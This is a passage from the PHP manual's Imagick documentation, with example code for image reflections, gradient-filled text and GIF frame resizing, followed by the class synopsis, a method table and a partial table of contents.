/* Gradient needs to be large enough for the image and the borders */
$gradient->newPseudoImage($reflection->getImageWidth() + 10, $reflection->getImageHeight() + 10, "gradient:transparent-black");

/* Composite the gradient on the reflection */
$reflection->compositeImage($gradient, imagick::COMPOSITE_OVER, 0, 0);

/* Add some opacity. Requires ImageMagick 6.2.9 or later */
$reflection->setImageOpacity( 0.3 );

/* Create an empty canvas */
$canvas = new Imagick();

/* Canvas needs to be large enough to hold the both images */
$width = $im->getImageWidth() + 40;
$height = ($im->getImageHeight() * 2) + 30;
$canvas->newImage($width, $height, new ImagickPixel("black"));
$canvas->setImageFormat("png");

/* Composite the original image and the reflection on the canvas */
$canvas->compositeImage($im, imagick::COMPOSITE_OVER, 20, 10);
$canvas->compositeImage($reflection, imagick::COMPOSITE_OVER, 20, $im->getImageHeight() + 10);

/* Output the image*/
header("Content-Type: image/png");
echo $canvas;
?>

The above example will output something similar to:

Output of example : Creating a reflection of an image

This example illustrates how to use fill patterns during drawing.

Example #4 Filling text with gradient

<?php

/* Create a new imagick object */
$im = new Imagick();

/* Create new image. This will be used as fill pattern */
$im->newPseudoImage(50, 50, "gradient:red-black");

/* Create imagickdraw object */
$draw = new ImagickDraw();

/* Start a new pattern called "gradient" */
$draw->pushPattern('gradient', 0, 0, 50, 50);

/* Composite the gradient on the pattern */
$draw->composite(Imagick::COMPOSITE_OVER, 0, 0, 50, 50, $im);

/* Close the pattern */
$draw->popPattern();

/* Use the pattern called "gradient" as the fill */
$draw->setFillPatternURL('#gradient');

/* Set font size to 52 */
$draw->setFontSize(52);

/* Annotate some text */
$draw->annotation(20, 50, "Hello World!");

/* Create a new canvas object and a white image */
$canvas = new Imagick();
$canvas->newImage(350, 70, "white");

/* Draw the ImagickDraw on to the canvas */
$canvas->drawImage($draw);

/* 1px black border around the image */
$canvas->borderImage('black', 1, 1);

/* Set the format to PNG */
$canvas->setImageFormat('png');

/* Output the image */
header("Content-Type: image/png");
echo $canvas;
?>

The above example will output something similar to:

Output of example : Filling text with gradient

Working with animated GIF images

Example #5 Read in GIF image and resize all frames

<?php

/* Create a new imagick object and read in GIF */
$im = new Imagick("example.gif");

/* Resize all frames */
foreach ($im as $frame) {
    /* 50x50 frames */
    $frame->thumbnailImage(50, 50);

    /* Set the virtual canvas to correct size */
    $frame->setImagePage(50, 50, 0, 0);
}

/* Notice writeImages instead of writeImage */
$im->writeImages("example_small.gif", true);
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
Imagick
Examples


The Imagick class

(No version information available, might only be in SVN)

Class synopsis

Imagick implements Iterator , Traversable {
bool adaptiveBlurImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool adaptiveResizeImage ( int $columns , int $rows [, bool $bestfit = false ] )
bool adaptiveSharpenImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool adaptiveThresholdImage ( int $width , int $height , int $offset )
bool addImage ( Imagick $source )
bool addNoiseImage ( int $noise_type [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool affineTransformImage ( ImagickDraw $matrix )
bool animateImages ( string $x_server )
bool annotateImage ( ImagickDraw $draw_settings , float $x , float $y , float $angle , string $text )
Imagick appendImages ( bool $stack = false )
Imagick averageImages ( void )
bool blackThresholdImage ( mixed $threshold )
bool blurImage ( float $radius , float $sigma [, int $channel ] )
bool borderImage ( mixed $bordercolor , int $width , int $height )
bool charcoalImage ( float $radius , float $sigma )
bool chopImage ( int $width , int $height , int $x , int $y )
bool clear ( void )
bool clipImage ( void )
bool clipPathImage ( string $pathname , bool $inside )
Imagick clone ( void )
bool clutImage ( Imagick $lookup_table [, float $channel = Imagick::CHANNEL_DEFAULT ] )
Imagick coalesceImages ( void )
bool colorFloodfillImage ( mixed $fill , float $fuzz , mixed $bordercolor , int $x , int $y )
bool colorizeImage ( mixed $colorize , mixed $opacity )
Imagick combineImages ( int $channelType )
bool commentImage ( string $comment )
array compareImageChannels ( Imagick $image , int $channelType , int $metricType )
Imagick compareImageLayers ( int $method )
array compareImages ( Imagick $compare , int $metric )
bool compositeImage ( Imagick $composite_object , int $composite , int $x , int $y [, int $channel = Imagick::CHANNEL_ALL ] )
__construct ( mixed $files )
bool contrastImage ( bool $sharpen )
bool contrastStretchImage ( float $black_point , float $white_point [, int $channel = Imagick::CHANNEL_ALL ] )
bool convolveImage ( array $kernel [, int $channel = Imagick::CHANNEL_ALL ] )
bool cropImage ( int $width , int $height , int $x , int $y )
bool cropThumbnailImage ( int $width , int $height )
Imagick current ( void )
bool cycleColormapImage ( int $displace )
bool decipherImage ( string $passphrase )
Imagick deconstructImages ( void )
bool deleteImageArtifact ( string $artifact )
public bool deskewImage ( float $threshold )
bool despeckleImage ( void )
bool destroy ( void )
bool displayImage ( string $servername )
bool displayImages ( string $servername )
bool distortImage ( int $method , array $arguments , bool $bestfit )
bool drawImage ( ImagickDraw $draw )
bool edgeImage ( float $radius )
bool embossImage ( float $radius , float $sigma )
bool encipherImage ( string $passphrase )
bool enhanceImage ( void )
bool equalizeImage ( void )
bool evaluateImage ( int $op , float $constant [, int $channel = Imagick::CHANNEL_ALL ] )
public array exportImagePixels ( int $x , int $y , int $width , int $height , string $map , int $STORAGE )
bool extentImage ( int $width , int $height , int $x , int $y )
Imagick flattenImages ( void )
bool flipImage ( void )
bool floodFillPaintImage ( mixed $fill , float $fuzz , mixed $target , int $x , int $y , bool $invert [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool flopImage ( void )
bool frameImage ( mixed $matte_color , int $width , int $height , int $inner_bevel , int $outer_bevel )
public bool functionImage ( int $function , array $arguments [, int $channel = Imagick::CHANNEL_DEFAULT ] )
Imagick fxImage ( string $expression [, int $channel = Imagick::CHANNEL_ALL ] )
bool gammaImage ( float $gamma [, int $channel = Imagick::CHANNEL_ALL ] )
bool gaussianBlurImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_ALL ] )
int getColorspace ( void )
int getCompression ( void )
int getCompressionQuality ( void )
string getCopyright ( void )
string getFilename ( void )
string getFont ( void )
string getFormat ( void )
int getGravity ( void )
string getHomeURL ( void )
Imagick getImage ( void )
int getImageAlphaChannel ( void )
string getImageArtifact ( string $artifact )
ImagickPixel getImageBackgroundColor ( void )
string getImageBlob ( void )
array getImageBluePrimary ( void )
ImagickPixel getImageBorderColor ( void )
int getImageChannelDepth ( int $channel )
float getImageChannelDistortion ( Imagick $reference , int $channel , int $metric )
float getImageChannelDistortions ( Imagick $reference , int $metric [, int $channel = Imagick::CHANNEL_DEFAULT ] )
array getImageChannelExtrema ( int $channel )
public array getImageChannelKurtosis ([ int $channel = Imagick::CHANNEL_DEFAULT ] )
array getImageChannelMean ( int $channel )
array getImageChannelRange ( int $channel )
array getImageChannelStatistics ( void )
Imagick getImageClipMask ( void )
ImagickPixel getImageColormapColor ( int $index )
int getImageColors ( void )
int getImageColorspace ( void )
int getImageCompose ( void )
int getImageCompression ( void )
int getCompressionQuality ( void )
int getImageDelay ( void )
int getImageDepth ( void )
int getImageDispose ( void )
float getImageDistortion ( MagickWand $reference , int $metric )
array getImageExtrema ( void )
string getImageFilename ( void )
string getImageFormat ( void )
float getImageGamma ( void )
array getImageGeometry ( void )
int getImageGravity ( void )
array getImageGreenPrimary ( void )
int getImageHeight ( void )
array getImageHistogram ( void )
int getImageIndex ( void )
int getImageInterlaceScheme ( void )
int getImageInterpolateMethod ( void )
int getImageIterations ( void )
int getImageLength ( void )
string getImageMagickLicense ( void )
bool getImageMatte ( void )
ImagickPixel getImageMatteColor ( void )
int getImageOrientation ( void )
array getImagePage ( void )
ImagickPixel getImagePixelColor ( int $x , int $y )
string getImageProfile ( string $name )
array getImageProfiles ([ string $pattern = "*" [, bool $only_names = true ]] )
array getImageProperties ([ string $pattern = "*" [, bool $only_names = true ]] )
string getImageProperty ( string $name )
array getImageRedPrimary ( void )
Imagick getImageRegion ( int $width , int $height , int $x , int $y )
int getImageRenderingIntent ( void )
array getImageResolution ( void )
string getImagesBlob ( void )
int getImageScene ( void )
string getImageSignature ( void )
int getImageSize ( void )
int getImageTicksPerSecond ( void )
float getImageTotalInkDensity ( void )
int getImageType ( void )
int getImageUnits ( void )
int getImageVirtualPixelMethod ( void )
array getImageWhitePoint ( void )
int getImageWidth ( void )
int getInterlaceScheme ( void )
int getIteratorIndex ( void )
int getNumberImages ( void )
string getOption ( string $key )
string getPackageName ( void )
array getPage ( void )
ImagickPixelIterator getPixelIterator ( void )
ImagickPixelIterator getPixelRegionIterator ( int $x , int $y , int $columns , int $rows )
float getPointSize ( void )
array getQuantumDepth ( void )
array getQuantumRange ( void )
string getReleaseDate ( void )
int getResource ( int $type )
int getResourceLimit ( int $type )
array getSamplingFactors ( void )
array getSize ( void )
int getSizeOffset ( void )
array getVersion ( void )
public bool haldClutImage ( Imagick $clut [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool hasNextImage ( void )
bool hasPreviousImage ( void )
array identifyImage ([ bool $appendRawOutput = false ] )
bool implodeImage ( float $radius )
public bool importImagePixels ( int $x , int $y , int $width , int $height , string $map , int $storage , array $pixels )
bool labelImage ( string $label )
bool levelImage ( float $blackPoint , float $gamma , float $whitePoint [, int $channel = Imagick::CHANNEL_ALL ] )
bool linearStretchImage ( float $blackPoint , float $whitePoint )
bool liquidRescaleImage ( int $width , int $height , float $delta_x , float $rigidity )
bool magnifyImage ( void )
bool mapImage ( Imagick $map , bool $dither )
bool matteFloodfillImage ( float $alpha , float $fuzz , mixed $bordercolor , int $x , int $y )
bool medianFilterImage ( float $radius )
bool mergeImageLayers ( int $layer_method )
bool minifyImage ( void )
bool modulateImage ( float $brightness , float $saturation , float $hue )
Imagick montageImage ( ImagickDraw $draw , string $tile_geometry , string $thumbnail_geometry , int $mode , string $frame )
Imagick morphImages ( int $number_frames )
Imagick mosaicImages ( void )
bool motionBlurImage ( float $radius , float $sigma , float $angle [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool negateImage ( bool $gray [, int $channel = Imagick::CHANNEL_ALL ] )
bool newImage ( int $cols , int $rows , mixed $background [, string $format ] )
bool newPseudoImage ( int $columns , int $rows , string $pseudoString )
bool nextImage ( void )
bool normalizeImage ([ int $channel = Imagick::CHANNEL_ALL ] )
bool oilPaintImage ( float $radius )
bool opaquePaintImage ( mixed $target , mixed $fill , float $fuzz , bool $invert [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool optimizeImageLayers ( void )
bool orderedPosterizeImage ( string $threshold_map [, int $channel = Imagick::CHANNEL_ALL ] )
bool paintFloodfillImage ( mixed $fill , float $fuzz , mixed $bordercolor , int $x , int $y [, int $channel = Imagick::CHANNEL_ALL ] )
bool paintOpaqueImage ( mixed $target , mixed $fill , float $fuzz [, int $channel = Imagick::CHANNEL_ALL ] )
bool paintTransparentImage ( mixed $target , float $alpha , float $fuzz )
bool pingImage ( string $filename )
bool pingImageBlob ( string $image )
bool pingImageFile ( resource $filehandle [, string $fileName ] )
bool polaroidImage ( ImagickDraw $properties , float $angle )
bool posterizeImage ( int $levels , bool $dither )
bool previewImages ( int $preview )
bool previousImage ( void )
bool profileImage ( string $name , string $profile )
bool quantizeImage ( int $numberColors , int $colorspace , int $treedepth , bool $dither , bool $measureError )
bool quantizeImages ( int $numberColors , int $colorspace , int $treedepth , bool $dither , bool $measureError )
array queryFontMetrics ( ImagickDraw $properties , string $text [, bool $multiline ] )
array queryFonts ([ string $pattern = "*" ] )
array queryFormats ([ string $pattern = "*" ] )
bool radialBlurImage ( float $angle [, int $channel = Imagick::CHANNEL_ALL ] )
bool raiseImage ( int $width , int $height , int $x , int $y , bool $raise )
bool randomThresholdImage ( float $low , float $high [, int $channel = Imagick::CHANNEL_ALL ] )
bool readImage ( string $filename )
bool readImageBlob ( string $image [, string $filename ] )
bool readImageFile ( resource $filehandle [, string $fileName = null ] )
bool recolorImage ( array $matrix )
bool reduceNoiseImage ( float $radius )
public bool remapImage ( Imagick $replacement , int $DITHER )
bool removeImage ( void )
string removeImageProfile ( string $name )
bool render ( void )
bool resampleImage ( float $x_resolution , float $y_resolution , int $filter , float $blur )
bool resetImagePage ( string $page )
bool resizeImage ( int $columns , int $rows , int $filter , float $blur [, bool $bestfit = false ] )
bool rollImage ( int $x , int $y )
bool rotateImage ( mixed $background , float $degrees )
bool roundCorners ( float $x_rounding , float $y_rounding [, float $stroke_width = 10 [, float $displace = 5 [, float $size_correction = -6 ]]] )
bool sampleImage ( int $columns , int $rows )
bool scaleImage ( int $cols , int $rows [, bool $bestfit = false ] )
public bool segmentImage ( int $COLORSPACE , float $cluster_threshold , float $smooth_threshold [, bool $verbose = false ] )
bool separateImageChannel ( int $channel )
bool sepiaToneImage ( float $threshold )
bool setBackgroundColor ( mixed $background )
bool setColorspace ( int $COLORSPACE )
bool setCompression ( int $compression )
bool setCompressionQuality ( int $quality )
bool setFilename ( string $filename )
bool setFirstIterator ( void )
bool setFont ( string $font )
bool setFormat ( string $format )
bool setGravity ( int $gravity )
bool setImage ( Imagick $replace )
bool setImageAlphaChannel ( int $mode )
bool setImageArtifact ( string $artifact , string $value )
bool setImageBackgroundColor ( mixed $background )
bool setImageBias ( float $bias )
bool setImageBluePrimary ( float $x , float $y )
bool setImageBorderColor ( mixed $border )
bool setImageChannelDepth ( int $channel , int $depth )
bool setImageClipMask ( Imagick $clip_mask )
bool setImageColormapColor ( int $index , ImagickPixel $color )
bool setImageColorspace ( int $colorspace )
bool setImageCompose ( int $compose )
bool setImageCompression ( int $compression )
bool setImageCompressionQuality ( int $quality )
bool setImageDelay ( int $delay )
bool setImageDepth ( int $depth )
bool setImageDispose ( int $dispose )
bool setImageExtent ( int $columns , int $rows )
bool setImageFilename ( string $filename )
bool setImageFormat ( string $format )
bool setImageGamma ( float $gamma )
bool setImageGravity ( int $gravity )
bool setImageGreenPrimary ( float $x , float $y )
bool setImageIndex ( int $index )
bool setImageInterlaceScheme ( int $interlace_scheme )
bool setImageInterpolateMethod ( int $method )
bool setImageIterations ( int $iterations )
bool setImageMatte ( bool $matte )
bool setImageMatteColor ( mixed $matte )
bool setImageOpacity ( float $opacity )
bool setImageOrientation ( int $orientation )
bool setImagePage ( int $width , int $height , int $x , int $y )
bool setImageProfile ( string $name , string $profile )
bool setImageProperty ( string $name , string $value )
bool setImageRedPrimary ( float $x , float $y )
bool setImageRenderingIntent ( int $rendering_intent )
bool setImageResolution ( float $x_resolution , float $y_resolution )
bool setImageScene ( int $scene )
bool setImageTicksPerSecond ( int $ticks_per-second )
bool setImageType ( int $image_type )
bool setImageUnits ( int $units )
bool setImageVirtualPixelMethod ( int $method )
bool setImageWhitePoint ( float $x , float $y )
bool setInterlaceScheme ( int $interlace_scheme )
bool setIteratorIndex ( int $index )
bool setLastIterator ( void )
bool setOption ( string $key , string $value )
bool setPage ( int $width , int $height , int $x , int $y )
bool setPointSize ( float $point_size )
bool setResolution ( float $x_resolution , float $y_resolution )
bool setResourceLimit ( int $type , int $limit )
bool setSamplingFactors ( array $factors )
bool setSize ( int $columns , int $rows )
bool setSizeOffset ( int $columns , int $rows , int $offset )
bool setType ( int $image_type )
bool shadeImage ( bool $gray , float $azimuth , float $elevation )
bool shadowImage ( float $opacity , float $sigma , int $x , int $y )
bool sharpenImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_ALL ] )
bool shaveImage ( int $columns , int $rows )
bool shearImage ( mixed $background , float $x_shear , float $y_shear )
bool sigmoidalContrastImage ( bool $sharpen , float $alpha , float $beta [, int $channel = Imagick::CHANNEL_ALL ] )
bool sketchImage ( float $radius , float $sigma , float $angle )
bool solarizeImage ( int $threshold )
public bool sparseColorImage ( int $SPARSE_METHOD , array $arguments [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool spliceImage ( int $width , int $height , int $x , int $y )
bool spreadImage ( float $radius )
Imagick steganoImage ( Imagick $watermark_wand , int $offset )
bool stereoImage ( Imagick $offset_wand )
bool stripImage ( void )
bool swirlImage ( float $degrees )
bool textureImage ( Imagick $texture_wand )
bool thresholdImage ( float $threshold [, int $channel = Imagick::CHANNEL_ALL ] )
bool thumbnailImage ( int $columns , int $rows [, bool $bestfit = false [, bool $fill = false ]] )
bool tintImage ( mixed $tint , mixed $opacity )
Imagick transformImage ( string $crop , string $geometry )
bool transparentPaintImage ( mixed $target , float $alpha , float $fuzz , bool $invert )
bool transposeImage ( void )
bool transverseImage ( void )
bool trimImage ( float $fuzz )
bool uniqueImageColors ( void )
bool unsharpMaskImage ( float $radius , float $sigma , float $amount , float $threshold [, int $channel = Imagick::CHANNEL_ALL ] )
bool valid ( void )
bool vignetteImage ( float $blackPoint , float $whitePoint , int $x , int $y )
bool waveImage ( float $amplitude , float $length )
bool whiteThresholdImage ( mixed $threshold )
bool writeImage ([ string $filename ] )
bool writeImageFile ( resource $filehandle )
bool writeImages ( string $filename , bool $adjoin )
bool writeImagesFile ( resource $filehandle )
}

Image methods and global methods

The Imagick class has the ability to hold and operate on multiple images simultaneously. This is achieved through an internal stack. There is always an internal pointer that points at the current image. Some functions operate on all images in the Imagick class, but most operate only on the current image in the internal stack. As a convention, method names can contain the word Image to denote they affect only the current image in the stack.

Class Methods

Because there are so many methods, here is a handy list of methods, somewhat reduced to their general purpose:

Class methods by purpose
Image effects | Get methods | Set methods | Read/write images | Other
Imagick::adaptiveBlurImage() | Imagick::getCompression() | Imagick::setBackgroundColor() | Imagick::__construct() | Imagick::clear()
Imagick::adaptiveResizeImage() | Imagick::getFilename() | Imagick::setCompressionQuality() | Imagick::addImage() | Imagick::clone()
Imagick::adaptiveSharpenImage() | Imagick::getFormat() | Imagick::setCompression() | Imagick::appendImages() | Imagick::current()
Imagick::adaptiveThresholdImage() | Imagick::getImageBackgroundColor() | Imagick::setFilename() | Imagick::getFilename() | Imagick::destroy()
Imagick::addNoiseImage() | Imagick::getImageBlob() | Imagick::getImagesBlob() | Imagick::setFormat() | Imagick::getFormat()
Imagick::affinetransformimage() | Imagick::getImageBluePrimary() | Imagick::setImageBackgroundColor() | Imagick::getImageFilename() | Imagick::getHomeURL()
Imagick::annotateImage() | Imagick::getImageBorderColor() | Imagick::setFirstIterator() | Imagick::getImageFormat() | Imagick::commentImage()
Imagick::averageImages() | Imagick::getImageChannelDepth() | Imagick::setImageBias() | Imagick::getImage() | Imagick::getNumberImages()
Imagick::blackThresholdImage() | Imagick::getImageChannelDistortion() | Imagick::setImageBluePrimary() | Imagick::setImageFilename() | Imagick::getReleaseDate()
Imagick::blurImage() | Imagick::getImageChannelExtrema() | Imagick::setImageBorderColor() | Imagick::setImageFormat() | Imagick::getVersion()
Imagick::borderImage() | Imagick::getImageChannelMean() | Imagick::setImageChannelDepth() | Imagick::readImageFile() | Imagick::hasNextImage()
Imagick::charcoalImage() | Imagick::getImageChannelStatistics() | Imagick::setImageColormapColor() | Imagick::readImage() | Imagick::hasPreviousImage()
Imagick::chopImage() | Imagick::getImageColormapColor() | Imagick::setImageColorSpace() | Imagick::writeImages() | Imagick::labelImage()
Imagick::clipImage() | Imagick::getImageColorspace() | Imagick::setImageCompose() | Imagick::writeImage() | Imagick::newImage()
Imagick::clipPathImage() | Imagick::getImageColors() | Imagick::setImageCompression() |  | Imagick::newPseudoImage()
Imagick::coalesceImages() | Imagick::getImageCompose() | Imagick::setImageDelay() |  | Imagick::nextImage()
Imagick::colorFloodFillImage() | Imagick::getImageDelay() | Imagick::setImageDepth() |  | Imagick::pingImageBlob()
Imagick::colorizeImage() | Imagick::getImageDepth() | Imagick::setImageDispose() |  | Imagick::pingImageFile()
Imagick::combineImages() | Imagick::getImageDispose() | Imagick::setImageDispose() |  | Imagick::pingImage()
Imagick::compareImageChannels() | Imagick::getImageDistortion() | Imagick::setImageExtent() |  | Imagick::previousImage()
Imagick::compareImageLayers() | Imagick::getImageExtrema() | Imagick::setImageFilename() |  | Imagick::profileImage()
Imagick::compositeImage() | Imagick::getImageFilename() | Imagick::setImageFormat() |  | Imagick::queryFormats()
Imagick::contrastImage() | Imagick::getImageFormat() | Imagick::setImageGamma() |  | Imagick::removeImageProfile()
Imagick::contrastStretchImage() | Imagick::getImageGamma() | Imagick::setImageGreenPrimary() |  | Imagick::removeImage()
Imagick::convolveImage() | Imagick::getImageGeometry() | Imagick::setImageIndex() |  | Imagick::setFirstIterator()
Imagick::cropImage() | Imagick::getImageGreenPrimary() | Imagick::setImageInterpolateMethod() |  | Imagick::setImageIndex()
Imagick::cycleColormapImage() | Imagick::getImageHeight() | Imagick::setImageIterations() |  | Imagick::valid()
Imagick::deconstructImages() | Imagick::getImageHistogram() | Imagick::setImageMatteColor() |  | Imagick::getCopyright()
Imagick::drawImage() | Imagick::getImageIndex() | Imagick::setImageMatte() |  |
Imagick::edgeImage() | Imagick::getImageInterlaceScheme() | Imagick::setImagePage() |  |
Imagick::embossImage() | Imagick::getImageInterpolateMethod() | Imagick::setImageProfile() |  |
Imagick::enhanceImage() | Imagick::getImageIterations() | Imagick::setImageProperty() |  |
Imagick::equalizeImage() | Imagick::getImageMatteColor() | Imagick::setImageRedPrimary() |  |
Imagick::evaluateImage() | Imagick::getImageMatte() | Imagick::setImageRenderingIntent() |  |
Imagick::flattenImages() | Imagick::getImagePage() | Imagick::setImageResolution() |  |
Imagick::flipImage() | Imagick::getImagePixelColor() | Imagick::setImageScene() |  |
Imagick::flopImage() | Imagick::getImageProfile() | Imagick::setImageTicksPerSecond() |  |
 | Imagick::getImageProperty() | Imagick::setImageType() |  |
Imagick::fxImage() | Imagick::getImageRedPrimary() | Imagick::setImageUnits() |  |
Imagick::gammaImage() | Imagick::getImageRegion() | Imagick::setImageVirtualPixelMethod() |  |
Imagick::gaussianBlurImage() | Imagick::getImageRenderingIntent() | Imagick::setImageWhitepoint() |  |
Imagick::implodeImage() | Imagick::getImageResolution() | Imagick::setInterlaceScheme() |  |
Imagick::levelImage() | Imagick::getImageScene() | Imagick::setOption() |  |
Imagick::linearStretchImage() | Imagick::getImageSignature() | Imagick::setPage() |  |
Imagick::magnifyImage() | Imagick::getImageTicksPerSecond() | Imagick::setResolution() |  |
Imagick::matteFloodFillImage() | Imagick::getImageTotalInkDensity() | Imagick::setResourceLimit() |  |
Imagick::medianFilterImage() | Imagick::getImageType() | Imagick::setSamplingFactors() |  |
Imagick::minifyImage() | Imagick::getImageUnits() | Imagick::setSizeOffset() |  |
Imagick::modulateImage() | Imagick::getImageVirtualPixelMethod() | Imagick::setSize() |  |
Imagick::montageImage() | Imagick::getImageWhitepoint() | Imagick::setType() |  |
Imagick::morphImages() | Imagick::getImageWidth() |  |  |
Imagick::mosaicImages() | Imagick::getImage() |  |  |
Imagick::motionBlurImage() | Imagick::getInterlaceScheme() |  |  |
Imagick::negateImage() | Imagick::getNumberImages() |  |  |
Imagick::normalizeImage() | Imagick::getOption() |  |  |
Imagick::oilPaintImage() | Imagick::getPackageName() |  |  |
Imagick::optimizeImageLayers() | Imagick::getPage() |  |  |
Imagick::paintOpaqueImage() | Imagick::getPixelIterator() |  |  |
Imagick::paintTransparentImage() | Imagick::getPixelRegionIterator() |  |  |
Imagick::posterizeImage() | Imagick::getQuantumDepth() |  |  |
Imagick::radialBlurImage() | Imagick::getQuantumRange() |  |  |
Imagick::raiseImage() | Imagick::getResourceLimit() |  |  |
Imagick::randomThresholdImage() | Imagick::getResource() |  |  |
Imagick::reduceNoiseImage() | Imagick::getSamplingFactors() |  |  |
Imagick::render() | Imagick::getSizeOffset() |  |  |
Imagick::resampleImage() | Imagick::getSize() |  |  |
Imagick::resizeImage() | Imagick::identifyImage() |  |  |
Imagick::rollImage() | Imagick::getImageSize() |  |  |
Imagick::rotateImage() |  |  |  |
Imagick::sampleImage() |  |  |  |
Imagick::scaleImage() |  |  |  |
Imagick::separateImageChannel() |  |  |  |
Imagick::sepiaToneImage() |  |  |  |
Imagick::shadeImage() |  |  |  |
Imagick::shadowImage() |  |  |  |
Imagick::sharpenImage() |  |  |  |
Imagick::shaveImage() |  |  |  |
Imagick::shearImage() |  |  |  |
Imagick::sigmoidalContrastImage() |  |  |  |
Imagick::sketchImage() |  |  |  |
Imagick::solarizeImage() |  |  |  |
Imagick::spliceImage() |  |  |  |
Imagick::spreadImage() |  |  |  |
Imagick::steganoImage() |  |  |  |
Imagick::stereoImage() |  |  |  |
Imagick::stripImage() |  |  |  |
Imagick::swirlImage() |  |  |  |
Imagick::textureImage() |  |  |  |
Imagick::thresholdImage() |  |  |  |
Imagick::thumbnailImage() |  |  |  |
Imagick::tintImage() |  |  |  |
Imagick::transverseImage() |  |  |  |
Imagick::trimImage() |  |  |  |
Imagick::uniqueImageColors() |  |  |  |
Imagick::unsharpMaskImage() |  |  |  |
Imagick::vignetteImage() |  |  |  |
Imagick::waveImage() |  |  |  |
Imagick::whiteThresholdImage() |  |  |  |

Table of Contents

  • Imagick::adaptiveBlurImage — Adds adaptive blur filter to image
  • Imagick::adaptiveResizeImage — Adaptively resize image with data dependent triangulation
  • Imagick::adaptiveSharpenImage — Adaptively sharpen the image
  • Imagick::adaptiveThresholdImage — Selects a threshold for each pixel based on a range of intensity
  • Imagick::addImage — Adds new image to Imagick object image list
  • Imagick::addNoiseImage — Adds random noise to the image
  • Imagick::affineTransformImage — Transforms an image
  • Imagick::animateImages — Animates an image or images
  • Imagick::annotateImage — Annotates an image with text
  • Imagick::appendImages — Append a set of images
  • Imagick::averageImages — Average a set of images
  • Imagick::blackThresholdImage — Forces all pixels below the threshold into black
  • Imagick::blurImage — Adds blur filter to image
  • Imagick::borderImage — Surrounds the image with a border
  • Imagick::charcoalImage — Simulates a charcoal drawing
  • Imagick::chopImage — Removes a region of an image and trims
  • Imagick::clear — Clears all resources associated to Imagick object
  • Imagick::clipImage — Clips along the first path from the 8BIM profile
  • Imagick::clipPathImage — Clips along the named paths from the 8BIM profile
  • Imagick::clone — Makes an exact copy of the Imagick object
  • Imagick::clutImage — Replaces colors in the image
  • Imagick::coalesceImages — Composites a set of images
  • Imagick::colorFloodfillImage — Changes the color value of any pixel that matches target
  • Imagick::colorizeImage — Blends the fill color with the image
  • Imagick::combineImages — Combines one or more images into a single image
  • Imagick::commentImage — Adds a comment to your image
  • Imagick::compareImageChannels — Returns the difference in one or more images
  • Imagick::compareImageLayers — Returns the maximum bounding region between images
  • Imagick::compareImages — Compares an image to a reconstructed image
  • Imagick::compositeImage — Composite one image onto another
  • Imagick::__construct — The Imagick constructor
  • Imagick::contrastImage — Change the contrast of the image
  • Imagick::contrastStretchImage — Enhances the contrast of a color image
  • Imagick::convolveImage — Applies a custom convolution kernel to the image
  • Imagick::cropImage — Extracts a region of the image
  • Imagick::cropThumbnailImage — Creates a crop thumbnail
  • Imagick::current — Returns a reference to the current Imagick object
  • Imagick::cycleColormapImage — Displaces an image's colormap
  • Imagick::decipherImage — Deciphers an image
  • Imagick::deconstructImages — Returns certain pixel differences between images
  • Imagick::deleteImageArtifact — Delete image artifact
  • Imagick::deskewImage — Removes skew from the image
  • Imagick::despeckleImage — Reduces the speckle noise in an image
  • Imagick::destroy — Destroys the Imagick object
  • Imagick::displayImage — Displays an image
  • Imagick::displayImages — Displays an image or image sequence
  • Imagick::distortImage — Distorts an image using various distortion methods
  • Imagick::drawImage — Renders the ImagickDraw object on the current image
  • Imagick::edgeImage — Enhance edges within the image
  • Imagick::embossImage — Returns a grayscale image with a three-dimensional effect
  • Imagick::encipherImage — Enciphers an image
  • Imagick::enhanceImage — Improves the quality of a noisy image
  • Imagick::equalizeImage — Equalizes the image histogram
  • Imagick::evaluateImage — Applies an expression to an image
  • Imagick::exportImagePixels — Exports raw image pixels
  • Imagick::extentImage — Set image size
  • Imagick::flattenImages — Merges a sequence of images
  • Imagick::flipImage — Creates a vertical mirror image
  • Imagick::floodFillPaintImage — Changes the color value of any pixel that matches target
  • Imagick::flopImage — Creates a horizontal mirror image
  • Imagick::frameImage — Adds a simulated three-dimensional border
  • Imagick::functionImage — Applies a function on the image
  • Imagick::fxImage — Evaluate expression for each pixel in the image
  • Imagick::gammaImage — Gamma-corrects an image
  • Imagick::gaussianBlurImage — Blurs an image
  • Imagick::getColorspace — Gets the colorspace
  • Imagick::getCompression — Gets the object compression type
  • Imagick::getCompressionQuality — Gets the object compression quality
  • Imagick::getCopyright — Returns the ImageMagick API copyright as a string
  • Imagick::getFilename — The filename associated with an image sequence
  • Imagick::getFont — Gets font
  • Imagick::getFormat — Returns the format of the Imagick object
  • Imagick::getGravity — Gets the gravity
  • Imagick::getHomeURL — Returns the ImageMagick home URL
  • Imagick::getImage — Returns a new Imagick object
  • Imagick::getImageAlphaChannel — Gets the image alpha channel
  • Imagick::getImageArtifact — Get image artifact
  • Imagick::getImageBackgroundColor — Returns the image background color
  • Imagick::getImageBlob — Returns the image sequence as a blob
  • Imagick::getImageBluePrimary — Returns the chromaticy blue primary point
  • Imagick::getImageBorderColor — Returns the image border color
  • Imagick::getImageChannelDepth — Gets the depth for a particular image channel
  • Imagick::getImageChannelDistortion — Compares image channels of an image to a reconstructed image
  • Imagick::getImageChannelDistortions — Gets channel distortions
  • Imagick::getImageChannelExtrema — Gets the extrema for one or more image channels
  • Imagick::getImageChannelKurtosis — The getImageChannelKurtosis purpose
  • Imagick::getImageChannelMean — Gets the mean and standard deviation
  • Imagick::getImageChannelRange — Gets channel range
  • Imagick::getImageChannelStatistics — Returns statistics for each channel in the image
  • Imagick::getImageClipMask — Gets image clip mask
  • Imagick::getImageColormapColor — Returns the color of the specified colormap index
  • Imagick::getImageColors — Gets the number of unique colors in the image
  • Imagick::getImageColorspace — Gets the image colorspace
  • Imagick::getImageCompose — Returns the composite operator associated with the image
  • Imagick::getImageCompression — Gets the current image's compression type
  • Imagick::getImageCompressionQuality — Gets the current image's compression quality
